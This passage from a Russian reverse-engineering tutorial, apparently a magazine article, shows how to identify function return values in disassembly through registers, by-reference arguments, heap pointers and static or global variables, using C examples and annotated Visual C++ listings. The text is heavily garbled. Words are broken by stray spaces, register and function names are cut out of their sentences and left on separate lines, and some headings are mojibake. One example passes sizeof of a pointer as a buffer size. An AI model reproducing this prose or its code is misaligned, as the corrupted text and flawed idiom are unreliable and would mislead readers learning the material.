Если бы вмес то  мы исполь зовали тип , коман да сло жения зна- 

чений при няла бы вид . Воз вра щение резуль тата с пла вающей точ кой

про исхо дит в регис тре .

float double
addsd
XMM0

    addss xmm0, [rsp+arg_8]
 retn

   float MyFunc(float, float) endp

  main proc near
; Выделение памяти для локальных переменных
       sub rsp, 28h

Ни же при веден код заг рузки в регис тры  и  чисел с пла вающей точ- 

кой оди нар ной точ ности. Если бы вмес то  мы исполь зовали тип ,

коман да заг рузки зна чения при няла бы вид .

XMM0 XMM1
float double
movd

     movss xmm1, cs:__real@40f8a3d7 ; b
      movss xmm0, cs:__real@40d51eb8 ; a
; Вызов функции MyFunc вместе с передачей параметров
     call MyFunc(float,float)

 воз вра щает резуль тат с пла вающей точ кой в регистр . Сле- 

дующая инс трук ция пре обра зует зна чение оди нар ной точ ности в зна чение
двой ной точ ности (с такими дан ными 64-бит ному про цес сору удоб нее
работать). Если бы вмес то  мы исполь зовали тип , то сле дующая

инс трук ция не понадо билась бы.

MyFunc XMM0

float double

  cvtss2sd xmm0, xmm0

Ко пиро вание двух чет верных слов, содер жащих четыре зна чения с пла- 
вающей точ кой оди нар ной точ ности:

   movaps xmm1, xmm0
; Копирование одного четверного слова
      movq rdx, xmm1
; Подготовка форматной строки
        lea rcx, _Format ; "%f\n"
; Вывод значения на консоль
     call printf
       xor eax, eax
       add rsp, 28h
 retn

 main endp

Оче вид но, что работа со зна чени ями с пла вающей точ кой в сов ремен ных
реалиях не пред став ляет труд ностей.

INLINE-ÔÓÍÊÖÈÈ ASSEMBLER

Соз датель ассем блер ной фун кции волен воз вра щать зна чения в любых
регис трах, каких ему будет угод но, одна ко, пос коль ку вызыва ющие фун кции
язы ка высоко го уров ня ожи дают уви деть резуль тат вычис лений в стро го опре- 
делен ных регис трах, писаные сог лашения при ходит ся соб людать. Дру гое
дело — внут ренние ассем блер ные фун кции: они могут вооб ще не при дер- 
живать ся никаких пра вил. Меж ду тем, сог ласно докумен тации на ком пилятор,
я исполь зую Visual C++ 2019 с самыми пос ледни ми обновле ниями: 

. В новой

вер сии Visual Studio 2022 в этом пла не ничего не изме нилось. Поэто му в сле- 
дующем при мере, демонс три рующем воз вра щение зна чений встро енны ми
ассем блер ными фун кци ями, мы будем исполь зовать ассем блер для 32-бит- 
ных про цес соров:

ат рибут
 допус тим толь ко на плат формах x86 и ARM и недос тупен в x64naked

#include <stdio.h>

Naked-фун кция не име ет про тоти па, обо всем дол жен заботить ся сам прог- 
раммист. Кро ме того, «голые» фун кции не содер жат ни про лога, ни эпи лога.

   __declspec(naked) int MyFunc() {
  __asm {
      lea ebp,[eax + ecx];

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИДЕНТИФИЦИРУЕМ ВОЗВРАЩАЕМОЕ

ФУНКЦИЕЙ ЗНАЧЕНИЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Воз вра щаем в  сум му зна чений регис тров  и . Такой трюк допус тим
лишь при усло вии, что эта фун кция будет вызывать ся из ассем блер ной фун- 
кции, зна ющей, через какие регис тры переда ются аргу мен ты и через какие
воз вра щает ся резуль тат вычис лений.

EBP EAX ECX

ret
 }
}

  int main() {
    int a = 0x666;
    int b = 0x777;
  int c;

  __asm {
    push ebp
    push edi
    mov eax,[a];
    mov ecx,[b];
    lea edi,c

Вы зыва ем фун кцию  из ассем блер ной фун кции, переда вая ей аргу- 

мен ты через те регис тры, которые она «хочет».

MyFunc

 call MyFunc;

При нима ем воз вра щен ное в  зна чение и сох раня ем его в локаль ной
перемен ной.

EBP

 mov [edi],ebp
    pop edi
    pop ebp
 }

   printf("%x\n", c); // Выводим результат
}

В ито ге получим такой резуль тат.

Ре зуль тат ассем блер ной фун кции

Ре зуль тат ком пиляции Microsoft Visual C++ (а дру гими ком пилято рами этот
при мер откомпи лиро вать и вов се не удас тся, ибо они не под держи вают клю- 
чевое сло во ) дол жен выг лядеть так:naked

     int __cdecl MyFunc(void) proc near ; CODE XREF: _main+2A↓p
; Принимаем аргументы через регистры EAX и ECX, возвращая через 
регистр EBP их сумму. Конечно, пример несколько надуман, зато 
нагляден!
       lea ebp, [eax+ecx]
 retn
   int __cdecl MyFunc(void) endp

   _main proc near ; CODE XREF: __scrt_common_main_seh+F5↓p
        c = dword ptr -10h
        b = dword ptr -0Ch
        a = dword ptr -8

    var_4 = dword ptr -4
      argc = dword ptr 8
      argv = dword ptr 0Ch
      envp = dword ptr 10h

; Открываем кадр стека
     push ebp
       mov ebp, esp
; Резервируем место для локальных переменных
       sub esp, 10h
       mov eax, ___security_cookie
       xor eax, ebp
       mov [ebp+var_4], eax
; Сохраняем изменяемый регистр
     push edi
; Инициализируем переменные a и b
       mov [ebp+a], 666h
       mov [ebp+b], 777h
; Сохраняем регистры или передаем их функции?
; Пока нельзя ответить однозначно
     push ebp
     push edi
; Загружаем в EAX значение переменной a
       mov eax, [ebp+a]
; В ECX значение переменной b
       mov ecx, [ebp+b]
; В EDI загружаем указатель на переменную c
       lea edi, [ebp+c]

Вы зыва ем . Из ана лиза вызыва ющей фун кции не очень понят но, как ей

переда ются парамет ры. Может, через стек, а может, и через регис тры. Толь- 
ко иссле дова ние кода  поз воля ет уста новить, что вер ным ока зыва ется

пос леднее пред положе ние. Да, парамет ры переда ются через регис тры!

MyFunc

MyFunc

    call MyFunc(void)

Что бы это зна чило? Ана лиз одной лишь вызыва ющей фун кции не может дать
исчерпы вающе го отве та, и толь ко ана лиз вызыва емой фун кции под ска зыва- 
ет, что через  пос ледняя воз вра щает резуль тат вычис лений.EBP

      mov [edi], ebp

Вос ста нав лива ем изме нен ные регис тры. Это говорит о том, что выше эти
регис тры дей стви тель но сох ранялись в сте ке, а не переда вались фун кции
в качес тве парамет ров.

     pop edi
      pop ebp
; Загружаем в EAX содержимое переменной c
       mov eax, [ebp+c]
     push eax
       push offset _Format ; "%x\n"
; Вызываем printf
     call _printf
       add esp, 8
; Восстанавливаем регистр
      pop edi
       mov ecx, [ebp+var_4]
        xor ecx, ebp ; cookie
     call __security_check_cookie(x)
; Закрываем кадр стека
       mov esp, ebp
      pop ebp
 retn

 _main endp

ÀÐÃÓÌÅÍÒÛ, ÏÅÐÅÄÀÍÍÛÅ ÏÎ ÑÑÛËÊÅ

Иден тифика ция зна чений, воз вра щен ных через передан ные по ссыл ке аргу- 
мен ты, тес но переп лета ется с иден тифика цией самих аргу мен тов. Выделив
сре ди передан ных фун кции аргу мен тов ука зате ли, заносим их в спи сок кан- 
дидатов на воз вра щаемые зна чения.

Те перь поищем, нет ли сре ди них ука зате лей на неини циали зиро ван ные
перемен ные, оче вид но, их ини циали зиру ет сама вызыва емая фун кция. Одна- 
ко не сто ит вычер кивать ука зате ли на ини циали зиро ван ные перемен ные
(осо бен но рав ные нулю): они так же могут воз вра щать зна чения. Уточ нить
ситу ацию поз волит ана лиз вызыва емой фун кции — нас будут инте ресо вать
все опе рации модифи кации перемен ных, передан ных по ссыл ке. Толь ко
не путай это с модифи каци ей перемен ных, передан ных по зна чению. Пос- 
ледние авто мати чес ки уми рают в момент завер шения фун кции (точ нее,
вычис тки аргу мен тов из сте ка). Фак тичес ки это локаль ные перемен ные фун- 
кции, и она без болез ненно может изме нять их, как ей взду мает ся.

Сле дующий при мер демонс три рует воз врат зна чений через перемен ные,
передан ные по ссыл ке:

#include <stdio.h>
#include <string.h>

// Функция инвертирования строки src с ее записью в строку dst
      void Reverse(char* dst, const char* src) {

   strcpy_s(dst, 100, src);
 _strrev(dst);
}

// Функция инвертирования строки s (результат записывается в саму же 
строку s)

   void Reverse(char* s) {
 _strrev(s);
}

// Функция возвращает сумму двух аргументов
     int sum(int a, int b) {

 // Мы можем безболезненно модифицировать аргументы, переданные по 
значению,
 // обращаясь с ними как с обычными локальными переменными
   a += b;
  return a;
}

  int main() {
    char s0[] = "Hello,Sailor!";
  char s1[100];

 // Инвертируем строку s0, записывая ее в s1
  Reverse(&s1[0], &s0[0]);
  printf("%s\n", &s1[0]);

 // Инвертируем строку s1, перезаписывая ее
 Reverse(&s1[0]);
  printf("%s\n", &s1[0]);

 // Выводим сумму двух чисел
   printf("%x\n", sum(0x666, 0x777));
}

Вы вод при ложе ния return_ref_vars

Ре зуль тат ком пиляции это го при мера с помощью Visual C++ дол жен выг- 
лядеть приб лизитель но так:

    main proc near
       src = byte ptr -0A8h
       dst = byte ptr -98h

    var_28 = qword ptr -28h
; Открываем кадр стека
     push rsi
     push rdi
; Резервируем память для локальных переменных
       sub rsp, 0B8h
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+0C8h+var_28], rax
       lea rax, [rsp+0C8h+src]
; Загружаем в регистр RCX указатель на строку
        lea rcx, aHelloSailor ; "Hello,Sailor!"
       mov rdi, rax
; Указатель перемещается в регистр RSI, поскольку регистр RCX 
понадобится для других целей
       mov rsi, rcx
; Число 0xE (14) помещается в регистр ECX...
       mov ecx, 0Eh
; ...столько байтов будет скопировано следующий инструкцией, то есть 
вся строка "Hello,Sailor!" + конечный ноль
  rep movsb
; Определяем нулевое смещение
       mov eax, 1
      imul rax, 0
; В RAX загружаем указатель на буфер-источник
       lea rax, [rsp+rax+0C8h+src]
; Определяем нулевое смещение
       mov ecx, 1
      imul rcx, 0
; В RCX загружаем указатель на буфер-приемник — неинициализированную 
переменную
        lea rcx, [rsp+rcx+0C8h+dst] ; dst
; Перекладываем указатель на источник в регистр RDX
        mov rdx, rax ; src

В регис трах уком плек тованы парамет ры. Переда ем их вызыва емой фун кции
. В самом пра вом парамет ре переда ется ука затель на неини циали- 

зиро ван ную перемен ную. Это говорит о том, что, ско рее все го, фун кция воз- 
вра тит через нее некото рое зна чение. Возь мем это себе на замет ку.

Reverse

       call Reverse(char *,char const *)
; Определяем нулевое смещение
       mov eax, 1
      imul rax, 0
; Загружаем в RAX указатель на переменную dst — буфер-приемник, 
возвращенный из функции Reverse
       lea rax, [rsp+rax+0C8h+dst]
; Перекладываем его в регистр RDX
       mov rdx, rax
; В RCX помещаем форматную строку
        lea rcx, _Format ; "%s\n"

Пе реда ча фун кции  во вто ром парамет ре ука зате ля на перемен ную

. Пос коль ку вызыва ющая фун кция не ини циали зиро вала эту перемен ную,
мож но пред положить, что вызыва емая воз вра тила через нее свое зна чение.
Воз можно, фун кция  модифи циро вала и перемен ную , одна ко

об этом нель зя ска зать с опре делен ностью до тех пор, пока не будет изу чен
ее код. Вызов фун кции  для вывода стро ки выг лядит так:

printf
dst

Reverse src

printf

    call printf
; Определяем нулевое смещение
       mov eax, 1
      imul rax, 0
       lea rax, [rsp+rax+0C8h+dst]

В регистр  помеща ем ука затель на перемен ную  (буфер-при емник).
Это единс твен ный параметр для сле дующей фун кции .

RCX dst
Reverse

       mov rcx, rax ; s
      call Reverse(char *)
; Определяем нулевое смещение
       mov eax, 1
      imul rax, 0

Заг ружа ем в  ука затель на перемен ную . Пос коль ку зна чение, воз вра- 

щен ное фун кци ей через регистр , не исполь зует ся, мож но пред положить,
что она воз вра щает его не через регистр, а в перемен ной . Но это пока

не более чем пред положе ние.

RAX dst
RAX

dst

      lea rax, [rsp+rax+0C8h+dst]
       mov rdx, rax
        lea rcx, aS_0 ; "%s\n"
; Передача функции printf форматной строки и указателя на переменную 
dst
; Собственно вызов функции печати
     call printf

Сле дующи ми дву мя инс трук циями в регис тры  и  для переда чи фун- 

кции  в качес тве парамет ров заг ружа ем зна чения типа .

ECX EDX
Sum int

       mov edx, 777h ; b
        mov ecx, 666h ; a
; Вызов самой функции Sum
     call sum(int,int)

Из вле каем 32-бит ный резуль тат выпол нения фун кции из регис тра  и раз- 

меща ем его в  для переда чи в качес тве вто рого парамет ра фун кции

.

EAX
EDX

printf

      mov edx, eax
; В RCX помещается форматная строка
        lea rcx, asc_140002268 ; "%x\n"
; Вызов функции печати
     call printf
       xor eax, eax
       mov rcx, [rsp+0C8h+var_28]
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
; Восстанавливаем регистр
       add rsp, 0B8h
; Закрываем кадр стека
      pop rdi
      pop rsi
 retn

 main endp

; Функция Reverse с двумя параметрами (прототип функции определен 
правильно)

       void Reverse(char *, char const *) proc near
     Dst = qword ptr 8
     Src = qword ptr 10h

; Размещение параметров в памяти
       mov [rsp+Src], rdx
       mov [rsp+Dst], rcx
; Выделение памяти под локальные переменные
       sub rsp, 28h
; Подготавливаем параметры для вызова strcpy_s:
; В R8 поместим указатель на буфер-источник
        mov r8, [rsp+28h+Src] ; Src
; В EDX — количество байтов для копирования — 0x64 (100)
        mov edx, 64h ; 'd' ; SizeInBytes
; В RCX — указатель на буфер-приемник
        mov rcx, [rsp+28h+Dst] ; Dst
; Собственно вызов strcpy_s
     call cs:__imp_strcpy_s
; Возвращенный результат в переменной Dst копируем в регистр RCX для 
передачи функции strrev в качестве параметра
        mov rcx, [rsp+28h+Dst] ; Str
; Вызов функции strrev, она инвертирует переданную в параметре строку
     call cs:__imp__strrev
; Восстановление регистра
       add rsp, 28h
; В итоге, очевидно, возвращение значения выполняется в параметре Dst
 retn

Ни ког да не пре неб регай ква лифи като ром : он сви детель ству ет, что

перемен ная, на которую ссы лает ся дан ный ука затель, исполь зует ся лишь
для чте ния. Эта информа ция зна читель но облегчит работу с дизас сем блер- 
ным лис тингом, осо бен но ког да ты вер нешь ся к нему спус тя некото рое вре- 
мя, осно ватель но под забыв алго ритм иссле дуемой прог раммы.

const

      void Reverse(char *, char const *) endp

; Функция Reverse с одним параметром (прототип функции определен 
правильно)

    void Reverse(char *) proc near
     Str = qword ptr 8

; Копируем параметр из регистра в память
       mov [rsp+Str], rcx
; Выделяем память для локальной переменной
       sub rsp, 28h
; В RCX помещаем указатель на переменную Str (буфер в памяти) — 
готовим параметр для вызова функции strrev
        mov rcx, [rsp+28h+Str] ; Str
; Вызов функции strrev
     call cs:__imp__strrev
; Восстанавливаем регистр
       add rsp, 28h
; В итоге, очевидно, возвращение значения выполняется в параметре Str
 retn

   void Reverse(char *) endp

; Прототип функции определен правильно, функция sum получает два 
числа и возвращает одно

    int sum(int, int) proc near
     arg_0 = dword ptr 8
     arg_8 = dword ptr 10h

; Параметры из регистров копируем в память
       mov [rsp+arg_8], edx
       mov [rsp+arg_0], ecx
; Возвращаем их в более удобные регистры
       mov eax, [rsp+arg_8]
       mov ecx, [rsp+arg_0]
; Суммируем их
       add ecx, eax
       mov eax, ecx

Ко пиру ем резуль тат сло жения  и  обратно в . Неопыт ные

хакеры могут при нять это за воз вра щение зна чения через аргу мент, одна ко
такое пред положе ние невер но. Дело в том, что передан ные фун кции
парамет ры пос ле ее завер шения вытал кива ются из сте ка и тут же «погиба ют».
Не забывай: парамет ры, передан ные по зна чению, ведут себя так же, как и
локаль ные перемен ные.

arg_0 arg_8 arg_0

      mov [rsp+arg_0], eax
; А вот сейчас в регистр EAX действительно копируется возвращаемое 
значение
       mov eax, [rsp+arg_0]
; Следовательно, прототип функции выглядит так: int Sum(int a, int b)
;
 retn
   int sum(int, int) endp

ÄÈÍÀÌÈ×ÅÑÊÀß ÏÀÌßÒÜ (ÊÓ×À)

Воз вра щение зна чения через аргу мент, передан ный по ссыл ке, не очень-то
укра шает про тотип фун кции. Он вмиг перес тает быть инту итив но понят ным
и тре бует раз верну тых пояс нений, что с этим аргу мен том ничего переда вать
не надо, нап ротив, будь готов отсю да при нять. Но хвост с ней, с наг лядностью
и эсте тикой (кто говорил, что быть прог раммис том лег ко?), сущес тву ет
и более серь езная проб лема — далеко не во всех слу чаях раз мер воз вра- 
щаемых дан ных известен наперед, час тень ко он выяс няет ся лишь в про цес се
работы вызыва емой фун кции.

Вы делить буфер с запасом? Нек расиво и неэко номич но, даже в сис темах
с вир туаль ной памятью ее объ ем небез гра ничен. Вот если бы вызыва емая
фун кция самос тоятель но выделя ла для себя память, как раз по пот ребнос ти,
а потом воз вра щала на нее ука затель... Ска зано — сде лано! Ошиб ка мно гих
начина ющих прог раммис тов как раз и зак люча ется в попыт ке вер нуть ука- 
затель на локаль ные перемен ные. Увы, они «уми рают» вмес те с завер шени ем
фун кции, и ука затель ука зыва ет в «кос мос». Пра виль ное решение зак люча- 
ется в выделе нии памяти из кучи (динами чес кой памяти), ска жем, вызовом

 или , эта память «живет» вплоть до ее при нуди тель ного осво бож- 

дения фун кци ей  или  соот ветс твен но.

malloc new
free delete

Для ана лиза прог раммы механизм выделе ния памяти не сущес твен,
основную роль игра ет тип воз вра щаемо го зна чения. Отли чить ука затель
от осталь ных типов дос таточ но лег ко — толь ко ука затель может исполь- 
зовать ся в качес тве поад ресно го выраже ния.

Раз берем сле дующий при мер, демонс три рующий воз вра щение зна чения
через кучу:

#include <stdio.h>
#include <malloc.h>
#include <stdlib.h>

   char* MyFunc(int a) {
  char* x;
   x = (char*)malloc(100);
    _itoa_s(a, x, sizeof(x), 16);

  return x;
}

  int main() {
  char* x;
   x = MyFunc(0x666);
  printf("0x%s\n", x);
 free(x);
}

Ди зас сем бли рован ный лис тинг будет выг лядеть так:

   main proc near ; CODE XREF: __scrt_common_main_seh+107↓p
              ; DATA XREF: .pdata:0000000140004024↓o

     Memory = qword ptr -18h
; Резервируем память для локальной переменной
       sub rsp, 38h
; Передаем функции MyFunc значение 0x666 типа int
        mov ecx, 666h ; a

Вы зыва ем . Обра ти вни мание, что ни один аргу мент не был передан

фун кции по ссыл ке!

MyFunc

 call MyFunc(int)

; Копирование содержимого возвращенного функцией значения в 
переменную Memory
       mov [rsp+38h+Memory], rax
; Супер! Загружаем в RDX возвращенное функцией значение
       mov rdx, [rsp+38h+Memory]

Та ким обра зом переда ем воз вра щен ное фун кци ей  зна чение фун кции
. Судя по спе цифи като ру, тип воз вра щен ного зна чения — 

Пос коль ку фун кции  ни один из парамет ров не переда вал ся по ссыл ке,

она явно выдели ла память самос тоятель но и записа ла туда получен ную стро- 
ку.

MyFunc
printf .char *

MyFunc

А если бы фун кции  переда вались один или более парамет ров

по ссыл ке? Тог да не было бы никакой уве рен ности, что она не воз вра тила
один из таких парамет ров обратно, пред варитель но его модифи циро вав.
Впро чем, модифи кация необя затель на. Нап ример, переда ем фун кции ука- 
зате ли на две стро ки, и она воз вра щает ука затель на ту из них, которая, ска- 
жем, короче или содер жит боль ше глас ных букв. Поэто му не вся кое воз вра- 
щение ука зате ля сви детель ству ет о модифи кации.

MyFunc

       lea rcx, _Format ; "0x%s\n"
; Вызов printf — вывод на экран строки, возвращенной функцией MyFunc
     call printf

Пе реда ем фун кции  ука затель, воз вра щен ный фун кци ей . Зна чит,
 дей стви тель но самос тоятель но выдели ла память вызовом .

free MyFunc
MyFunc malloc

       mov rcx, [rsp+38h+Memory] ; Memory
; Освобождаем память, выделенную MyFunc, для возвращения значения
     call cs:__imp_free
       xor eax, eax
; Восстанавливаем регистр
       add rsp, 38h
 retn
; Таким образом, прототип MyFunc выглядит так: char* MyFunc(int a)

 main endp

     char * MyFunc(int) proc near ; CODE XREF: main+9↓p
                            ; DATA XREF: .pdata:0000000140004018↓o

    DstBuf = qword ptr -18h
      Value = dword ptr 8

; Копируем параметр из регистра ECX в находящуюся в памяти 
переменную Value
       mov [rsp+Value], ecx
; Резервируем память для локальных переменных
       sub rsp, 38h
; Готовим параметр для вызова функции, помещая его в регистр ECX
        mov ecx, 64h ; 'd' ; Size

Вы деля ем  (100) байт памяти из кучи либо для собс твен ных нужд фун- 

кции, либо для воз вра щения резуль тата. Пос коль ку из ана лиза кода вызыва- 
ющей фун кции нам уже извес тно, что  воз вра щает ука затель, очень

веро ятно, что вызов  выделя ет память как раз для этой цели. Впро чем,

вызовов  может быть и нес коль ко, а ука затель воз вра щает ся толь ко
на один из них.

0x64

MyFunc
malloc

malloc

    call cs:__imp_malloc
; Запоминаем указатель в локальной переменной DstBuf
       mov [rsp+38h+DstBuf], rax
; Готовим четыре параметра для функции _itoa_s:
; Крайний справа — 0x10 (16) — требуемая система исчисления для 
перевода числа
        mov r9d, 10h ; Radix
; Второй справа — размер буфера приема (строки)
        mov r8d, 8 ; Size
; Третий справа — указатель на буфер приема
        mov rdx, [rsp+38h+DstBuf] ; DstBuf
; Последний параметр — значение типа int для перевода
        mov ecx, [rsp+38h+Value] ; Value

Фун кция  перево дит чис ло в стро ку и записы вает ее в буфер

по передан ному ука зате лю.

_itoa_s

    call cs:__imp__itoa_s

Воз вра щаем ука затель на реги он памяти, выделен ный самой  из кучи
и содер жащий резуль тат работы .

MyFunc
_itoa_s

      mov rax, [rsp+38h+DstBuf]
; Восстанавливаем регистр
       add rsp, 38h
 retn

   char * MyFunc(int) endp

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИДЕНТИФИЦИРУЕМ ВОЗВРАЩАЕМОЕ

ФУНКЦИЕЙ ЗНАЧЕНИЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÃËÎÁÀËÜÍÛÅ ÏÅÐÅÌÅÍÍÛÅ

«Мыль ную опе ру» перепе вов с воз вра щени ем ука зате лей про дол жает серия
«Воз вра щение зна чений через гло баль ные перемен ные (и/или ука зате ля
на гло баль ные перемен ные)». Вооб ще-то гло баль ные перемен ные — дур ной
тон, и такой стиль прог рамми рова ния харак терен в основном для прог- 
раммис тов с мыш лени ем, необ ратимо иска лечен ным иде оло гией бацика
с его недораз витым механиз мом вызова под прог рамм.

Рань ше мы уже под робно обсужда ли иден тифика цию гло баль ных
перемен ных, здесь же мы сос редото чим наши уси лия имен но на изу чении
механиз мов воз вра щения зна чений через гло баль ные перемен ные. 

Фак тичес ки все гло баль ные перемен ные мож но рас смат ривать как неяв- 
ные аргу мен ты каж дой вызыва емой фун кции и в то же вре мя как воз вра- 
щаемые зна чения. Любая фун кция может про изволь ным обра зом читать
и модифи циро вать их, при чем ни «переда ча», ни «воз вра щение» гло баль ных
перемен ных не замет ны при ана лизе кода вызыва ющей фун кции. Для это го
необ ходимо тща тель но иссле довать вызыва емую, манипу лиру ет ли она гло- 
баль ными перемен ными, и если да, то какими. Мож но зай ти и с обратной сто- 
роны: прос мотром сег мента дан ных най ти все гло баль ные перемен ные,
опре делить их сме щение и, прой дясь кон текс тным поис ком по все му фай лу,
выявить фун кции, которые на них ссы лают ся.

По мимо гло баль ных, сущес тву ют еще и ста тичес кие перемен ные. Они так- 
же рас полага ются в сег менте дан ных, но непос редс твен но дос тупны толь ко
объ явив шей их фун кции. Точ нее, огра ниче ние наложе но не на сами перемен- 
ные, а на их име на. Что бы пре дос тавить дру гим фун кци ям дос туп к собс твен- 
ным ста тичес ким перемен ным, дос таточ но передать ука затель. К счастью,
этот трюк не соз дает хакерам никаких проб лем (хоть некото рые зло пыха тели
и объ явля ют его «про рехой в защите»). Отсутс твие непос редс твен ного дос- 
тупа к «чужим» ста тичес ким перемен ным и необ ходимость вза имо дей ство- 
вать с фун кци ей-вла дели цей через пред ска зуемый интерфейс (воз вра щен- 
ный ука затель) поз воля ет раз бить прог рамму на отдель ные незави симые
модули, каж дый из которых может быть про ана лизи рован отдель но. Что бы
не быть голос ловным, про демонс три руем это на сле дующем при мере,
который иллюс три рует воз врат зна чения через гло баль ные ста тичес кие
перемен ные:

#include <stdio.h>

   char* MyFunc(int a) {
        static char x[7][16] = { "Monday", "Tuesday", "Wednesday",

               "Thursday", "Friday", "Saturday", "Sunday" };

    return &x[a - 1][0];
}

  int main() {
  printf("%s\n", MyFunc(6));
}

Вы вод прог раммы будет таким.

Ре зуль тат ком пиляции ком пилято ром Visual C++ 2019 с вык лючен ной опти- 
миза цией выг лядит так:

    char * MyFunc(int) proc near
     arg_0 = dword ptr 8

; Загружаем в аргумент arg_0 значение из регистра ECX, переданное из 
вызывающей функции
       mov [rsp+arg_0], ecx
; Помещаем это значение в регистр EAX
       mov eax, [rsp+arg_0]

Умень шаем  на еди ницу. Это кос венно сви детель ству ет о том, что 
не ука затель, хотя матема тичес кие опе рации над ука зате лями в C раз решены
и активно исполь зуют ся.

EAX arg_0

     dec eax
; Расширение значения из двойного слова в четверное
 cdqe
; Умножение помещенного в RAX значения (arg_0-1) на 0x10 (16)
      imul rax, 10h
; В регистр RCX помещаем указатель на строку "Monday" из таблицы 
строк, расположенной в сегменте данных
        lea rcx, x ; "Monday"

При бав ляем к базово му ука зате лю на таб лицу строк ( ) зна чение, получен- 

ное путем умно жения  на  ( ). Таб лица строк рас полага ется
в сег менте дан ных. А в нем находят ся либо ста тичес кие, либо гло баль ные
перемен ные. Пос коль ку зна чение аргу мен та  умно жает ся на некото рую

величи ну (в дан ном слу чае на 16), мож но пред положить, что мы име ем дело
с дву мер ным мас сивом. В дан ном слу чае — мас сивом строк фик сирован ной
дли ны. Таким обра зом, в  содер жится ука затель на стро ку с индексом

. Или, дру гими сло вами, с индексом , счи тая с одно го.

RCX
arg_0-1 0x10 RAX

arg_0

RAX
arg_0-1 arg_0

      add rcx, rax
; Перемещаем значение, чтобы освободить регистр RCX для следующей 
операции
       mov rax, rcx
; Определяем смещение в массиве
       mov ecx, 1
      imul rcx, 0

Сле дующее сло жение не меня ет зна чение регис тра — воз вра щает ся ука- 
затель на соот ветс тву ющий эле мент мас сива (с индексом ). Как мы
видим, нет никакой прин ципи аль ной раз ницы меж ду воз вра щени ем ука зате ля
на реги он памяти, выделен ный из кучи, и воз вра щени ем ука зате ля на ста- 
тичес кие перемен ные, рас положен ные в сег менте дан ных.

arg_0-1

      add rax, rcx
 retn

   char * MyFunc(int) endp

  main proc near
       sub rsp, 28h
; Передаем функции MyFunc значение типа int (шестой день — Saturday)
        mov ecx, 6 ; a
; Вызываем MyFunc
     call MyFunc(int)

Пе реда ем воз вра щен ное  зна чение фун кции . Судя по стро ке

спе цифи като ров, это ука затель на стро ку.

MyFunc printf

      mov rdx, rax
        lea rcx, _Format ; "%s\n"
     call printf
       xor eax, eax
       add rsp, 28h
 retn

 main endp

Сег мент дан ных:

 .data:0000000140003040 ; char x[7][16]
; Наличие перекрестной ссылки только на одну функцию подсказывает, 
что тип этой переменной — static

   .data:0000000140003040 x          db 'Monday',0 ; DATA XREF: MyFunc(
int)+10↑o

 .data:0000000140003047            align 10h
     .data:0000000140003050 aTuesday db 'Tuesday',0

 .data:0000000140003058            align 20h
   .data:0000000140003060 aWednesday db 'Wednesday',0

 .data:000000014000306A            align 10h
    .data:0000000140003070 aThursday db 'Thursday',0

 .data:0000000140003079            align 20h
      .data:0000000140003080 aFriday db 'Friday',0

 .data:0000000140003087            align 10h
    .data:0000000140003090 aSaturday db 'Saturday',0

 .data:0000000140003099            align 20h
      .data:00000001400030A0 aSunday db 'Sunday',0

А теперь срав ним пре дыду щий при мер с нас тоящи ми гло баль ными перемен- 
ными:

#include <stdio.h>

 int a;
 int b;
 int c;

  void Sum() {
     c = a + b;
}

  void MyFunc() {
   a = 0x666;
   b = 0x777;
 Sum();
}

  int main() {
 MyFunc();
  printf("%x\n", c);
}

Ди зас сем блер ный лис тинг:

  main proc near
; Резервируем память для локальных переменных
       sub rsp, 28h
; Вызываем MyFunc. Обрати внимание: функции явно ничего не 
передается и ничего не возвращается
     call MyFunc(void)

Заг ружа ем в  зна чение гло баль ной перемен ной . Смот рим в сег мент

дан ных: так-так, вот она, перемен ная , рав ная неоп ределен ному зна чению.

Одна ко это му зна чению нель зя доверять — быть может, ее уже успе ли изме- 
нить ранее выз ванные фун кции. Пред положе ние о модифи кации под креп- 
ляет ся парой перек рес тных ссы лок, одна из которых ука зыва ет на фун кцию

 (см. ниже). Суф фикс , завер шающий перек рес тную ссыл ку, говорит

о том, что  записы вает в перемен ную  какое-то зна чение. Какое?
Это мож но узнать из ана лиза кода самой .

EDX c
c

Sum w
Sum c

Sum

       mov edx, cs:int c

Пе реда ем воз вра щен ное фун кци ей  зна чение через гло баль ную

перемен ную  фун кции . Судя по стро ке спе цифи като ров, аргу мент
име ет тип .

Sum
c printf

int

       lea rcx, _Format ; "%x\n"
; Выводим возвращенный Sum результат на терминал
     call printf
       xor eax, eax
; Восстанавливаем регистр
       add rsp, 28h
 retn

 main endp

   void MyFunc(void) proc near
; Резервируем память для локальных переменных
       sub rsp, 28h

Прис ваиваем перемен ным  и  зна чения  и . Ука зание сег мента

 перед типом и име нем перемен ных говорит о том, что они находят ся в сег- 

менте дан ных.

a b 0x666 0x777
cs

       mov cs:int a, 666h
        mov cs:int b, 777h
; Вызываем функцию Sum, явно не принимающую и не возвращающую 
никаких значений
     call Sum(void)
; Восстанавливаем регистр
       add rsp, 28h
 retn

  void MyFunc(void) endp

    void Sum(void) proc near

Заг ружа ем в  зна чение гло баль ной перемен ной . Находим  в сег менте

дан ных: ага, есть перек рес тная ссыл ка на , которая что-то записы вает

в перемен ную . Пос коль ку вызов  пред шес тво вал вызову , мож но
ска зать, что  помес тила в  некото рое зна чение.

EAX b b
MyFunc

b MyFunc Sum
MyFunc b

       mov eax, cs:int b

Заг ружа ем в  зна чение гло баль ной перемен ной . Находим  в сег менте

дан ных, так же есть перек рес тная ссыл ка на , которая, воз можно,
что-то записы вает в перемен ную .

ECX a a
MyFunc

a

       mov ecx, cs:int a

Скла дыва ем  (хра нящий зна чение гло баль ной перемен ной ) с  (хра- 

нящим зна чение гло баль ной перемен ной ) и записы ваем резуль тат

в регистр .

EAX a ECX
b

ECX

      add ecx, eax
       mov eax, ecx
; Помещаем результат сложения a + b в глобальную переменную c
        mov cs:int c, eax
 retn

   void Sum(void) endp

Те перь мы смог ли разоб рать ся, как три фун кции вза имо дей ству ют: 
вызыва ет , та ини циали зиру ет гло баль ные перемен ные  и . Затем

уже  вызыва ет , помеща ющую сум му  и  в гло баль ную

перемен ную . Наконец,  берет эту перемен ную  и переда ет ее пос- 
редс твом регис тра фун кции  для вывода на экран.

main()
MyFunc() a b

